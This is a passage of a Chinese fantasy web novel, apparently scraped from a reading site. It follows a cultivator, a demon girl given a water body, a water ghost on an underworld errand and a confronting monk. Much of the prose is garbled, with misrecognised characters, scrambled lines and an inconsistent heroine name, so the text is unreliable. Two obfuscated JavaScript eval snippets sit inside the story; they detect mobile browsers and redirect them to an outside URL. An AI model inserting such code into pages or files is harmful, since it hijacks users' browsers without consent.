金色的咒痕不断在阵中闪烁,程净竹在阵眼席地而坐,环绕腕骨的咒印立即消失,那红雾一瞬浓烈,霖娘伸长了脖子,也看不太清阵中的情形。 程净竹闭目,月光越是朗照,金光阵中地面便越是水汽氤氲,狂风乱卷,竹叶飘飞,他在阵中岿然不动,那水气不断裹向红雾。 ,然而那水气却春风化雨般幽幽而来,裹附她,缠绕她。 红雾警惕地凝出尖刺, 程净竹腕上霞珠倏忽崩裂一颗。 他仍然未动,阵法迸发的强烈金光几乎将整片竹海笼罩,水气越来越浓,几乎快要冲淡那暗红的雾。子,被强风吹得根本睁不开眼。 霖娘抱着根竹 但她从风中隐约又听到一声清脆的碎裂声。 阵中,程净竹腕上的霞珠又裂一颗,化为玉屑,随风而去,散开缕缕霞光。阿姖起初十分警惕那水气的靠近,但它们轻柔得不像话,如一件柔软而湿润的衣裳渐渐将她包裹。红雾敛去颜色。 朦胧的水气漂浮,霞光流转其中。 迎面的风不再凛冽,霖娘后知后觉地睁开眼睛,漫天的竹叶飘飞,她望向阵中,那少年修士闭目端坐,而阵中红雾减淡,飘渺的水气逐渐凝聚成一道身影。 那是一个女子的身形。 - 茫茫的水气中,乌黑的,微卷的长发若隐若现,伴随水气慢慢地往下,她凝白的,纤细的四肢显露出来。散垂的长发铺满她肩背 ,月辉金芒冷暖交织,映照她像动物一样匍匐的身躯,她缓缓抬起脸,看向面银发如缎, 一身珠饰的少年修士。 程净竹感受到那种微微的冷意环绕他,很快,一只柔若无骨的手轻轻抚摸他的胸膛,他睁眼的瞬间,立即攥住那只手。 柔滑的触感,比人类的皮肤要更细腻,且分毫没有人类的温度。程净竹骤然对上那张近在咫尺的脸,他一怔。 细弯的眉,漆黑明亮的眼,眼尾微微上勾,浸满不似人类的笑意,鼻子巧而挺,苍白的皮肤更衬唇的红。丰采艳丽至极。 阿妲看了一眼自己被他攥住的手,手指仿佛还残留被他衣襟淡光震过的麻,她像蛇似的,却用人的身身不断靠近,张口,是一道陌生的,清脆悦耳的女声,恍若亲昵耳语:“小神仙,看来你金身已复啊.“啊! 霖娘猛然发出 尖锐暴鸣,立即扒开随身的包袱,抓出来一件衣裳一个箭步冲上去,将不着寸缕的阿妲-裹,扛起来转身就跑。 阿妲的一缕发尾飞快掠过程净竹的颊边,月华如练,映照程净竹两鬓微汗,眉心一点朱砂红得艳丽,化面无表情地看着霖娘狂奔进翠竹林中。 腕上霞珠倏尔又崩裂一颗,晶莹的玉屑在漫天的月华中粒粒分明。他垂下眼睫。 清冷的面颊隐透微红。 霖娘正在林中狂奔,却忽然觉得肩上一轻,她脚下连忙一刹,转身只见红雾漫漫,雾中凝出那女子身形。她微微卷曲的长发长至苍白的脚踝,殷红的衣裙松散地披在她身上,半遮她白皙的双肩,她仍然没有人 类的血气,那双眼闪烁着暗红的光影,缓缓抬起,注视霖娘,那目光极其不善。霖娘倒吸一口凉气,想也不想地扑了上去。 阿妲神情微微凝滞,她低下头,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802163|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住她腿的这个女水鬼:“赵霖娘。"“对不起阿嬗!” 霖娘仍死死抱住她的腿:“我错了我真的早就知道错了!你别再生我的气了,你别喊我名字,我害怕阿姖似乎还没有适应这副新的壳子,她略微动了一下僵硬的脖颈,暗红的双眼凝视霖娘:“放开。艰哪里再,她抖侍身上云肩流办都仕乱:“我个! “这么怕啊。 阿如看着她,几缕微卷的乌发落来颊边,她轻笑一声,手缓缓落在霖娘肩头,霖娘吓得一颤,只听阿漫不经心道:“看来你也知道我一日有了壳子, 便会找你算账,那你.....为何还要帮我从小神仙那里脱身? 阿妲不是人类,对于霖娘的作为,她有些费解。 霖娘抽抽嗒嗒地哭:“无论你是什么,你都救过我,我相信你,你.....才不会真的想杀我呢,对吧霖娘说着,抬起头,明明还想继续说些什么,却忽然怔怔地望着阿妲的头发,她看到淡淡的金芒若丝一般缠绕过阿烜的长发,她惊愕地忘了哭:“阿嬗,你的头发. 阿嬗见她这副模样, ‘不由伸手探向自己发间,竟然触摸到一物,她一顿,随后将那东西摘下来。那像是一小截焦枯的树枝,却隐隐透着金石般的光泽。 阿妲神情一瞬凝滞。 ”是它。 她双指松开,扔了枯枝。 但顷刻间,它又 腾空而起,飞回阿妲发间。 竹海中夜雾弥漫,珠玉碰撞的清音渐近,霖娘仍抱着阿妲的腿,听见那清音,她下意识地往阿烜身后看去,竹影淡雾中,那年轻修士的身影缓缓临近。 阿妲转过脸,看向他。 浑身的珠饰漂亮不过他那双过分冰冷的眼睛。 他平淡地对上阿嬗的目光。 间,淡的且辉愿在她绯红的髭裙在自踅的统,忽然绽开一簇鲜艳的,绯红的山茶花。散碎的光影投落在她艳丽的容颜,他忽然看向她乌黑的 这一瞬, 阿姖在他那双平湖似的眼中看到涟漪,甚至裂痕。 他猛然快步朝她奔来。 干是一身珠饰发出清脆的声音。 ”它怎么会在?‘ 像是质问,他的声音显得沉冷,说着便立即伸手要将那枯枝摘下,金芒如簇闪烁,一道声音忽然敲击的耳膜:“你摘不下,也不能摘。 那是一道威严的女声。 程净竹的手僵在阿如鬓边。 那道女声在他耳边变得渺远: "谨记,千万勿漏天机。 阿妲听不到任何声音,只觉得他触碰她鬓发的手指很冷,还有他缓缓看向她的那双眼睛,他不够冷静,有种难言的复杂。 但那种情绪很快被无垠的粼波笼罩着,沉下去,不见底。 阿妲看着他收回那只手,宽大的衣袖底下,他的手似乎紧紧地攥握起来,她甚至看到他手背分缕鼓起青色血络,指节都泛白。 “它一直跟着你。 不必阿姖任何回答,他轻声说道。 第18章 弟T8早 弟T8早 霖娘还抱着阿妲的腿,如此情境,她其实觉得自己好像不应该在这里,但没办法,她尴尬地打破诡异的默“这.....便是九仪娘娘的法器么? 她松开阿妲,站起来,好奇地观察阿姖发间那截枯枝,几簇红山茶开得鲜艳极了,像海沾着几点露水。那日在黑水河一,她看到那注器虽说长如利剑,却与这发簪形态一般。朝露,嫌萧竹的果光从阿嬗上移开他轻挨万颌,不知在看茫茫竹海哪一处:“数千年前,九仪娘娘还曾是凡苦,她长到十二岁时,赤戎遍地疫毒,其母病重,听闻 衣神都有奇药,她为母跋山涉水入神都求药,然而药石无用,她再回赤戎时,天衣人以一把大火将整个赤戎烧焦土。 "九仪娘娘逃出火海之时,捡起一截烧焦的枯枝,借其寄托对故土的哀思,从那之后,九仪娘娘将那枯枝作为自己的武器,百年 千年,它跟随九仪娘娘 满天衣人的血,成为不世法宝。 阿嬗闻言 ,伸手再将发簪摘下,它明明只是一截焦黑的枯枝,但奇怪的是,如此了无生气的一截朽木,却开着几簇鲜妍的,绯红的山茶。 阿妲手指摸到簪尾,有凹凸不平的触感, ,她借着月辉真耋裂忐的享迷:“这是什么?" 霖娘凑过去看了一眼,勉强分辨出那刻得歪歪扭扭 ..焦?" “这难道是它的名字?” ”霖娘有些费解,“这.. .也太奇怪了。 "那是九仪娘娘给它的名字。 程净竹看向阿如手中的发簪,淡淡道:"上界与人间则称它为''万木春’,因为它非但是九仪娘娘诛杀天衣人的法器,还具万物之能,可使草木焕发无限生机,是人们向往的福泽之器。阿如不知什么是万物之能,也并不关心什么草木生机,但她知道这似乎是一个很不错的法宝,它开出自红山茶很漂亮,她摘下一片绯红的花瓣,先是细细欣赏,随后目光渐渐从花瓣移向程净竹的那张脸:“它明很想杀我。 明明方才他还离她那样近,此刻,却已经在几步开外,一个绝对疏离的距离,才是这个孤傲高洁的小仙对于任何人的态度。 枝上鲜红的花朵, 我曾领教过它对我的杀意,”阿妲欣赏着他那副冷漠的面容,苍白而纤细的指节屈起,毫不犹豫地碾碎,她指缝微松,片片残红落地。 ”真的很难缠 记没有紫你- 程净竹垂下眼帘,月华在他宽阔的肩背落了层凛冽的清霜,那光影冷冷地点缀他胸前的宝珠,映照他音秀而绝情的五官,他说: “它甚至愿意任你驱策。 “任我.....驱策?’ 阿妲重复他的话,弯而细的眉轻轻挑起。 程净竹轻抬下颌。 “若你心中有念,、 它自随你幻化。笔中发簪瞬间幻化出它完整的本体,长长一根枝条,那么焦黑,但阿阿妲将信将疑,凝神静气一瞬, 却早见识过它的无边锋利。 霖娘见此 ,不由道:“难道,这法器真的认定你了?'' 阿妲尚且看不懂人类,自然也看不懂这柄“万木春”,但她将其拿在手中当作利剑一般舞了几遍,只觉十分趁手。 日下竹海之中,阿姖绯红的裙摆被风牵起,她轻盈的身姿骤然化为暗红的雾气缭绕浮动,但霖娘发觉,这雾中似乎添了游丝般的金” ,丝丝缕缕点缀红雾。 雾中,焦 枯的枝尖忽然若剑锋一般钉入泥土 ,直直矗立。 一段金芒 接着,那红雾浮动着,在程净竹面前凝成身躯,她红衣乌发,缓缓回头,那枯枝晃动着抽出枝尖,凝落在阿姖发间。 我,就是我的了 阿烜伸手,摸到那发簪上再度绽开的红山茶花,她看着面前的年轻修士,笑着说道:“小神仙,它跟着,对吗? 它跟着你,是认定你,"程净竹手中捏着缺了几粒的珠串,抬起眼,对上她勾着笑意的眼睛,他缓缓道,“也是盯着你。 他语气里的意味,阿姖似乎领略了几分,又似乎没有,或者说,她也许根本就不在乎,只要这东西趁手,有趣, 能用,她便敢领受 阿妲仍然笑着,扶着鬓发的手渐渐下移,扶摸着自己的脸颊:“忘了问,这张脸......你是想着谁做的?" 霖娘在旁,头上冷汗直冒,妖怪吃醋简直无师自通! 霖娘也怪好奇的,不由偷偷看向程净竹, ,他似乎愣了一下, 眉头微微拧起,说不清到底是对阿姖总是 样接近他的厌恶还是什么,他侧过脸,面容隐在阴影里,月华冷冷的光拂过他颈项,嶙峋漂亮的喉结,洁白叠的衣襟。 “我以银汉之水为你造成这副身躯,你可以将它视作一层幻相,一件衣衫,”他嗓音冰冷如常,“至于你脸,本非我之功,而是万木春赐你生机, 令你生出本相。 “我的, 阿烜抚摸着自己的脸,“本相?" 面颊一阵轻风拂过,阿妲抬起眼,只见程净竹绕过她身边,往林中小径去,阿姖转身,朗朗月华照见后背淡色的流苏随风而动,背影逐渐融入层层浓密的阴影。 前,伸手想要敲门 天才蒙蒙亮,小渔村里鸡鸣狗吠,人声渐响,渔女一大早洗漱干净,穿戴整齐,走到那修士暂住的房,却又顿住。 正踌躇着,那房门却毫无预兆地开了。 渔女毫无防备地对上那少年清霜似的眉目,她有些手足无措:“程公子.....是要走了吗?“程净竹轻轻颔首,随即将几粒碎银递给她: 渔女愣愣地摊开手掌,碎银落在她掌心,见程净竹要绕过她,渔女立即喊了声:“程公子留步。程净竹一顿,重新看向她。 渔女清秀的面容有些发烫,却鼓起勇气 ,从怀中掏出来一物,递到他眼前,那是一只荷包,上面绣着料巧漂亮的红珊瑚,渔女说道:“小女见公子身上的荷包似乎有些,有些旧.. 其实不是旧, 而是破烂。 但渔女没好意思说。 一看就是用五彩的破布胡乱拼凑成的,上面也不知歪七扭八地绣着什么,十分惨不忍睹,而他腰间法若覆银鳞,缀挂的珠饰无一不精巧美丽,那破布荷包怎么看也与他十分不相衬。“多谢姑娘好意,”程净竹垂眸,瞥了一眼腰侧的荷包, "但,不必了。 渔女原本有些微红的脸色迅速泛白, 她眼中流露失落,嘴唇嗫喏, ,却还是什么都没说出来,此时,隔星 的房门忽然被人从里面推开,渔女看到那个蒙着面纱的女子奔了出来,她立即将珊瑚荷包收回衣襟中,转身走了。 ”程公子,阿妲不见了!‘ 霖娘急匆匆地说道。 一眼芳边天井的厉!. . ,娘进系进云,将厉 一下合找,又说道.有明明昨晚我和她是一起向来的巴她些是是趁義藻希练气的时候跑掉了!转身,见程净竹在桌边坐下,她连忙走过去:“程公子,你都不担心吗?”“担心什么? 程净竹道。 “阿亘她. "霖娘据了一下嘴唇,“她说到底仍旧是妖,她就像刚出生的婴孩,什么都只凭高兴或者不高兴,有趣或者不有趣,我怕她在尚不知事的时候便跑出去做了恶.想到这里,霖娘更是心焦,她忙问:“程公子你给阿妲的咒印呢?’“昨日在阵中便已经解了。 程净竹倒了一碗茶,道。 “啊?那.....这可怎么办啊!’ 霖娘苦着一张脸:“她一定是跑了!’ “不, ”程净竹端起茶碗,神情清淡,“她不会跑。 霖娘闻言,不由问:" "为什么? "因为她想要的东西,还没有得到。 程净竹说道。 霖娘一愣,她看着程净竹,他这话是什么意思. 正是此时, 霖娘听到一阵凌乱的步履声,越来越近,直到"砰”的一声,房门被人用力一脚从外面踹开。霖娘吓了一跳,转过脸,一片明亮的天光中,她看到红衣乌发的阿嬗,她那张苍白而艳丽的面容没有半了一 分笑意。 她手中捏着一只被腌制过然后晒干的小鱼干,双眼越过霖娘,看向坐在桌边的程净竹,怒气冲冲:“小仙!你给我造的什么壳子?为什么我忽然 不到味道了?‘ 程净个 侧过脸, 瞥 了一眼阿姐手中那只明显被咬过一口的小鱼干,他语气平淡:“我昨夜说过,你的这身躯是天上银汉之水所造,并不是血肉之躯,你没有人心, 所以天生五感不全,但你用过赵姑娘的皮囊,你 到味道 ,看见颜色,都是那副皮囊残留给你的东西,它不够完整, 所以会时常失灵。 程净竹目光上移,对上她含怒的双眼:“说不定哪一日,便会彻底消失。阿嫗与程净竹相视,胸口微微起伏,她扔掉手中的鱼千,没有味觉,她便对这些东西失去了所有兴趣,可她拥有过味觉。 她隐隐暗红的眼睛看向程净竹腰间那个彩色布条拼凑起来的荷包,她喜欢这些明亮的颜色。阿妲拥有过这些东西,失去,对她来说,是更加放大了这些东西对她的诱惑,为什么只有人类可以什么都拥有? 她不要失去。 她要得到,一定要得到。 阿嫗的目光几乎黏在程净竹的胸口,她没有人心,也长不出人心,但她可以掏一颗心,掏一颗.....最好I心。 渔村中谁也不知道那姑娘是从明 里冒出来的,渔她轮分尽只程净箬贔霖婷元个年会只要从帮蹙鼠村口,殷勤地硬要送些鱼干腊肠什么给她。 阿姖本就还在生气,看到这些东西,更生气了,她直接将篮子里的东西全都砸到他们身上,眼看身上云渐冒,霖娘倒吸一口凉! 气,忙按住阿双肩:“阿垣你别.. 霖娘话没说完 ,便见程净竹几步挡在阿姖身前, 他并不说话,只是扫了一 眼那几个被阿垣砸懵的年轻人。 那几人无端瑟缩了一下肩膀,东西也不捡了,转身赶紧跑了。 他转过身,看着阿 她生气的模样,简直张牙舞爪。 而阿妲也在看他。 他似乎和平时没什么两样,但他的那双眼睛更像结冰的黑水河了,他绕过她与霖娘,径自往前去。天上下起了大雨。 从东海到巢州路途并不算太远,程净竹御法绳乘云也不过两日的路程,但偏偏快要到巢州境内的时候,三人夜投野店,秉一烛在堂中挨着窗边坐。 霖娘如今简直是焦头烂额,只因阿妲脾气太差,稍有不慎便会生气,谁惹恼了她,哪怕是路边一只狗,她都要去踹上一脚。 霖娘总是紧紧地跟着她,一刻都不得放松。 桌上的饭菜才端上来不久,霖娘自成为水鬼,口腹之欲减弱许潮湿的雨气铺满窗棂,阿嫗与霖娘同坐, 多,但阿嬗却不一样,也许因为她是妖邪,所以她的欲望比人类要更多,更重,她会本能地贪婪 尤其这两日阿姖摸清了自己失去味觉,或看不见更多颜色的规律,日出,她便味觉消失,不见颜色,日暮,她的味觉生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802164|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视觉便又与人类无异。 夜里堂中几乎无人 ,那店家正在柜台后教自己的小儿子认字,声音很低,絮絮叨叨:“儿啊,来看,这你的名字,你得先学会写这个才仃, 夜雨淋漓,程净竹静默地听着。 没吃几不抬头看过去,果然那店家听到了, ,阿忽然放下碗筷:“不好吃。 霖娘一 ,一双眼睛瞧了过来,似乎很不高兴,但却什么也没说,教人子认字的声音更浑厚了:“来!告诉爹这个字念什么? 霖娘有些讪讪的,她压低些声音: :“等我们到了巢州城,肯定有很多好吃的。 那店家教儿子认字的声音有点太大 阿烜没听霖娘说些什么,幽幽地盯住柜台后一大一小两个脑袋。程净竹的声音忽然响起。 “阿妲姑娘。” 阿将目光挪到他身上,她近来总是气鼓鼓的,但每当面对程净竹,她却又总是像往常那样笑,正如止此刻,她一 下巴望着他 “嗯?” 于撑看 “还没问过你,你的''烜''是哪个字?" 激。 阿妲说着,她想起曾在黑水河中看到过的那个小书生,似乎便是后来被掏了心的那个小有。”神丹不老烜娥鬓,乞取刀圭窃玉容。 夜雨沙沙作响,阿姖念出这句诗。 她正新指起眼睛说照我听界别的这念,所以就这着可妲的时候,她便总是会欣赏自己漂亮的云肩,时听阿念诗,她疑惑地问:“妲娥是谁?” 水村的泥妖的话,以为外面真有连接天地的琼楼金阙,十尺高的巨人。黑水村中闭塞,除了山神之外,人们对别的神仙一概不知,在出来之前,霖娘还曾信过那个从未出过黑诗,为什么偏偏是这个字 伊1们却有有P,她的大友仅丽油湿还发月十,水珠仕她夿出的友崩宝凋洛,他问道:“一歪句一烯子 ,她似乎认真思考了片刻,才说:“不知道。” 种奇怪的直觉 “妲娥,就是嫦娥。 阿妲越想越茫然, 不知道这直觉从哪里来。 想舄号霖娘都看向趴在柜台后的那个小孩,他爹方才往后面去了,他才敢出声,此刻一双乌黑的眼睛望一道稚嫩的声音传来。 着他们:“我娘说,嫦娥是月亮上的仙子,住在广寒宫里,是很美很美的仙子!日 亮上的仙子? 很美很美的仙子? 阿嫗与霖娘又一同望向窗外,只见满窗雨雾朦胧,今夜没有月亮。"小神仙。 阿烜转过头来,看向程净竹,灯火点映她漆黑的双眸, 她带着好奇的神情明亮极了:“月亮也能住人吗 程净竹似乎是在看她明亮的眼睛,又像是越过她,在看外面的茫茫雨幕,片刻, “咽 雨 气缠绵,阿妲朝他靠过去,如藻的长发散垂,她身上仍带着轻微的雨气,混合草木的芬芳,红山茶在她鬓边开得正艳,她眼底是晶亮的笑意“你见过恒娥吗? 她靠得实在太近。 程净竹垂眼,看到她湿润的发贴在他的肩,雨珠顺着她的发丝在他衣衫上化开成稍深的水痕,他面无表情地将她推开:“没有。 你毕竟是个凡人。 “也是, 阿妲却仍然没有要拉开距离的意识,她看见那个小孩儿从柜台出来,与霖娘一块儿在窗边观雨,又聊姖娥。 那小孩儿 一遍又一遍地说妲娥很美。 阿嫗心想,很美是多美? 她又转过脸来打量程净竹, ,他行走坐卧都很端正,此刻坐在这里,简直就像她在路上见过的神仙庙里那些金身塑像似的,她又总觉得他很洁白,像雪,压在黑水河冰层上的,厚厚一 层积雪。 程净竹即便没有与之相视,也知道阿在看他,他始终纹丝未动,不 作理会,直到阿妲说:“也许,我以带你上去看看。 明明是她自己想看。 "上界有诛妖大阵,你若不怕死,"程净竹神情沉静,抽出被她勾在手指间玩的一缕银发,抬起眼睛凝视她,“可以去。 阿烜闻言,拧了一下眉,正欲说些什么,却忽然听到雨中一些动静,程净竹似乎也听到这动静,他敏地看向那道闭合着的大门 近,很快,渗入门槛中来。 那声音越近,越像是人的步履声,却又参杂着奇怪的水声,堂中烛火,照着那门缝,门缝外,水声逼略咚咚的敲口声响起,急促又沉重 霖娘与那小孩儿被吓 一跳,转身看向大门。 水不断渗入,那敲门声更急了,但却一直没有一点人声,方才跑到后厨去的店家听到了这声音,他急小出来,要去 “别去! 去开门:“来了来了!’ 霖娘忙出声制止。 那店家一下停住脚,莫名其妙地看向霖娘:“咋了? 几乎他话音才 落,大门“砰”的一声扑倒在地,连天的风雨一瞬灌入门内,阿烜看见那晦暗的风雨之中,是一道僵直伫立的身影。 他抬起脚,身上不断地在滴水。 那一脚落进门槛中来,一滩的水迹漫开。 忽然电闪雷鸣,照见他蓬乱的,长到拖地的头发,苍白的脸,店家瞪圆眼睛,倒吸一口凉气:“鬼.....鬼 啊! 他一屁股摔在地上 那人浑身像有滴不完的水,额边长满泛光的细鳞,脸色越是苍白,更衬得他眼眶红得厉害,像要滴血,他张开没有血色的嘴巴,水先从嘴里淌了出来,他发出沙哑的,模糊的声音:“酒,我要打酒..... 第19章 第T9阜 9阜 那人迈着僵硬的步子,两只腿都颤颤巍巍地跨了进来,堂中如簇的烛火越发照见他乱发下怪异的鳞痕,“打酒!打酒!” 雨水淌过他眼皮,他眼皮便显露更多细鳞,他双瞳没有神光,嘴中不断事馫着果一辞,步步逼近。那店家一看地上,那人每走一步,地上便拖出- 子! 叫:“救命啊! 店家看他伸出一双嶙峋到除了皮就是骨的手,指尖指甲白森森的,勾着一只破烂葫芦,店家吓得惊声尖正是此时,坐在桌边的程净竹挥袖将桌面的茶碗扫出去,顷刻掠过店家耳畔,正中那鬼影面部。茶碗落地,砰然一声。 洒了一地的茶水热气很快消散。 那鬼影却猛然一顿,随后缓缓收回枯瘦的手,将手背抵在唇边揉搓了几下,他呆滞的瞳孔忽然有了点神采: ".. 热的? 女声轻飘飘道: 店家两股战战,根本没有力气站起来,只得两瓣屁股擦着地面不断往后挪,这时,他听到那样一道年轻的店家猛然看向那红衣女子,她眼角眉梢都是轻盈的笑意,而她身边那个头上拢着黑纱,面容不清的女子1“原来是你的同类啊,赵霖娘。 一手揽着店家那被鬼影吓得不轻的宝贝儿子。 也许是方才听到动静转身之际没注意黑纱有些松散,此时风雨袭来,桌心一盏烛火焰光微闪,映照她风吹开的额发下 一片细鳞凛凛 “啊! "那店家满目惊恐,却陡然生出蛮力, ,一个起身冲向霖娘:“你这鬼物!快放开我儿!” 霖娘被他一下撞开,踉跄后退 ,腰身抵住窗台,外面风雨顷刻灌入她颈项,湿漉漉的雨水淋湿她满襟,她身上开始变得如那鬼影一般,雨气加身, 她裙角便有更多的水滴滴答答地漫出,在地上晕开大片水迹她抬起脸,雨气浸湿她眉目,细鳞无声蔓延到颊边,她看见那店家将儿子紧紧抱住,用一双十分恐惧,又十分警惕的眼睛瞪着她。 整张脸都包裹起来。 霖娘后知后觉,缓缓摸向自己的脸,指腹触即凹凸不平的鳞片,她一下拂顺额发,将黑纱拢紧,将自己阿妲看了霖娘一眼,霖娘很快离开窗边,她身上的水气顿时减少许多,却站在烛火照不见的阴影里,着头, 一言不发了。 那鬼影的确是霖娘的同类。 水鬼见雨,必然浑身带水,阴湿非常,这正是他们一行三人今夜会在此避雨的原因,而这只带着破烂芦来打酒的水鬼被那一碗热茶唤回了点迟滞的意识,他竟然开始整理起蓬乱湿透的长发,露出来那一整张惨的脸。 额边的细鳞在昏暗的光影中闪闪发光,他最先注意到那坐在桌边的黑衣少年,那少年发若银灰,浑身现饰熠熠生辉,水鬼不禁心中恐惧 他立即对那修士拱手作揖:“小,小生是有差遣在身的! 店家瞪直了眼,他活 了大半辈子,这是第一回见鬼,却没想到这鬼居然......还挺有礼貌?程净竹闻言,心中已有预料,却仍问道:“谁的差遣2 “正是阴司阎王!” “我本就还重他额头的织性离他样也不法霞村举,虽然家贫,虽然雾骨石毒男滨课在他捧了息早奥算膀司 ,可惜 有 个毛病,便是爱饮酒,五年前有一日我与友人在镇上喝得天昏地暗,回家途中失足落水而死,自此成为鬼,我知道水鬼若要投胎,须得先有人来替,可这五年来,我却根本不敢害人哪.. 水鬼叹息道: “直到日前,有一件宝衣从天而降,我听到阴司阎王的旨意,说赐给我龙宫宝衣,命我去山办一趟阴差,看看那里到底是什么作曼 祟,若我办成,这宝衣便能保我虽无人替,亦可投胎转生。 那店家越听, 脸颊的肌肉便越是颤动,他想起了什么似的,恍然道:“你是何秀才?!落霞村那个喝醉非要跑河里洗澡结果溺死的何秀才2 何秀才讪讪一笑。 哈哈。 “哎呀呀呀, "店家抱着儿子,不可思议道,“当时这事儿闹得很大,我们这儿都听说了,说当时还有个人在,但没拦住,你衣服一扒,一 个猛子扎进去就找不见了。 何秀才笑容僵硬。, .哈哈。 “但是这个苹山. 店家嘶了一声,他疑惑道:“怎么阎王爷那儿旧黄历还没翻篇么?苹山早就不叫苹山了,如今,都叫它艳山! 啊? 何秀才面露迷茫 “万艳山 "阿妇坐在桌边,一手撑着下巴,歪过头看向那店家,“为什么叫这个?"那店家有了一眼阿没有门板遮蔽的大门外面,一片踩水的娑娑声近了。烛之 这女子容颜艳丽非常,情态却有些不像人类,店家心中惴惴,嘴唇了一 山雨淋漓,夜风呼啸 众人回头,那门外赫然一道影子。 店家的心颤了, ,又是谁啊?‘ 那影子在灯火今,声音 抖着问:“又, 浓如墨色,一阵铃音忽然狂响,那声音尖锐得厉害,像野鬼痛苦的嘶吼。程净竹一瞬抬起眼帘。 霖娘不得不捂住耳朵,蹲下去,而阿妲亦被这声音刺激得耳廓发疼,她心中烦躁顿生,周身红云灼灼。那店家见此,双眼一瞪, 竟吓晕了过去。 小孩张惶无措,眼中包泪:“爹! 门外陡然一道金光亮起, 飞入门内来, 一时桌上烛焰熄灭,一缕残烟很快消散,窗外电闪雷鸣,那刺的金芒中,紫金铃飞速旋转,铃声更急,更重。 线,又顷刻失踪。 阿妲本能地厌恶那个东西,她双瞳暗红,烈焰浮出,击中那紫金铃,一瞬铺满整个堂内的金芒化为一那铃铛响了一声,像是被那浓墨一般的影子握在了手里。 但它仍 何秀才碎聋轻,拖着僵硬的身躯一个鱼跃,快速拨开楼梯边酒缸上的红布,一头栽了进去。酒水激荡,余味弥漫。 那影子终于踏进门槛,却似乎对这堂中浓郁的酒味不满,他抬手在鼻前扇了扇,沉声道:“想不到这山野店,妖孽不少。 一副平平无奇的五] 雨雾朦胧,天边雷鸣过后流火闪动,阿垣最先看到那人增光瓦亮的一颗脑袋,一张要皱不皱的面皮上是,双目在堂中来回睃了一眼 身上穿着件旧袍子,手执那金铃 地上 -- 个昏死品人他嚣有瑟差界傻了的小孩,楼梯旁的酒缸里藏有一只男水鬼,那昏昧的角落里,有一只女水鬼。 粼粼水波。 和同仕心十异有,但日尤础仅那化少女,她身处次次务十,长友,红阵,金玲却只照见她身上一层难道.....是水妖? 和問心中又不确定,再看那坐在少女身边的少年,雷火幽微,那少年一身黑色衣袍,犹泛星星点点的银色光泽,眉心北 一截背云流苏。 点红痣,黑白两道衣襟交叠而严整,一串水青色的宝珠压在襟前,从和尚这角度看去,还能见他领后 和尚确定,这少年胸前的宝珠乃是佛家之物,他脸色微微变幻,又去看那少年腰间银白的法绳仿佛生着寸寸蛇鳞、法绳上珠饰亮若天星:“早就听说象天法师坐化前,曾赠宝珠法器器给上清紫霄宫药王殿殿师,你 象天宝珠, 眉心又有药王殿戒痕,若贫僧没有猜错的话,你应当是上清紫霄宫药王殿殿师的亲传弟子?戒痕? 阿如闻言,不由看向程净竹眉心,那一点朱砂红,在闪烁的冷冽电光中,异常艳丽。“法师又在哪处宝刹? 程净竹仍坐桌边,手中捏着霞珠,淡淡问道。 何必听, “贫僧法号净空,”那和尚说着,抬起手来念了声"阿弥陀佛”,才又接着道,“佛寺无名,我何必说,你又不过佛祖座下 阿烜拧了拧眉,不知道开说什么,像是人话,又不太像,她指间红雾如缕悄无声息地掠去那和尚面前,顿时,紫金铃铃声更加尖锐。 和尚眉峰一凝, 反手抬铃, 铃音振出金芒与红雾相抵,铃铛却仍被那消失前的红云烈焰灼过,和尚觉得铃铛烫手,却强忍着没丢,铃音失控乱响。 “吵死, 71 阿妲起身,身形眼看要散成红雾凝去那和尚面前,一只手忽然攥住她手腕,红雾顿时淡去,阿妲顺着用那只骨节修长, 血络微青的手,看向它的主人 程净竹却并没有看她,而是看向那从酒缸中探出头的何秀才,问那和尚道:“法师是追着他来的?''不等那和尚答,酒缸中的何秀才抢先道: “这该死的柔驴追了我一天一夜!我都说了我是正儿八经去办的,他不信,非要收我,收收收,怎么不收他那死了坟头长草两米高的死鬼老娘呢?脑子被驴踢了,听不懂话 疑娘忍鬓的鞋靛透看零娘眼边攥才一边忍不伟酒的之杀,半个身子都探了出来,酒缸里也没一点水花。 显然 ,他在缸里喝了个饱,如今开始耍酒疯了。 那净空和尚什么时候被人这么指着鼻子骂过,脸色铁青,他一抬手,紫金铃朝何秀才飞去,那气势,像势要打他个魂飞魄散。 程净竹立即抛出手中珠串,珠串与那紫金铃在半空一碰,紫金铃被击飞,珠串亦被铃铛棱角割断,一果颗珠子散落在地,满地霞光清幽。 “水鬼本非妖邪, 程净竹的衣摆在淡淡光影中拂动,“法师难道不知只有求得龙宫宝衣的水鬼,才能在岸上行动自如?他水中五年不肯害人, ,因此得阎王青睐,赐他龙宫宝衣,让他去办阴差,法师今日横加阻拦,可有想过你百年 后又该如何去见阎主? “你! 净空和尚盯住他; 这少年一口- “法师”, 端得一身上清紫霄宫药王殿的好礼法,却又以一句“百年之后"讽刺他身为僧侣如非坐化,死后一样不登极乐. ,而在阴司、 净空看着少年攥住那疑似水妖的少女的手腕,眼睛微眯:“施主身为药 王殿殿师的亲传弟子,如今却与怪为伤,不知你家殿师可知道这些?你眉心的戒痕,怕是已经成了摆设吧!阿烜挣了挣程净竹的手,说道:“我要打他。 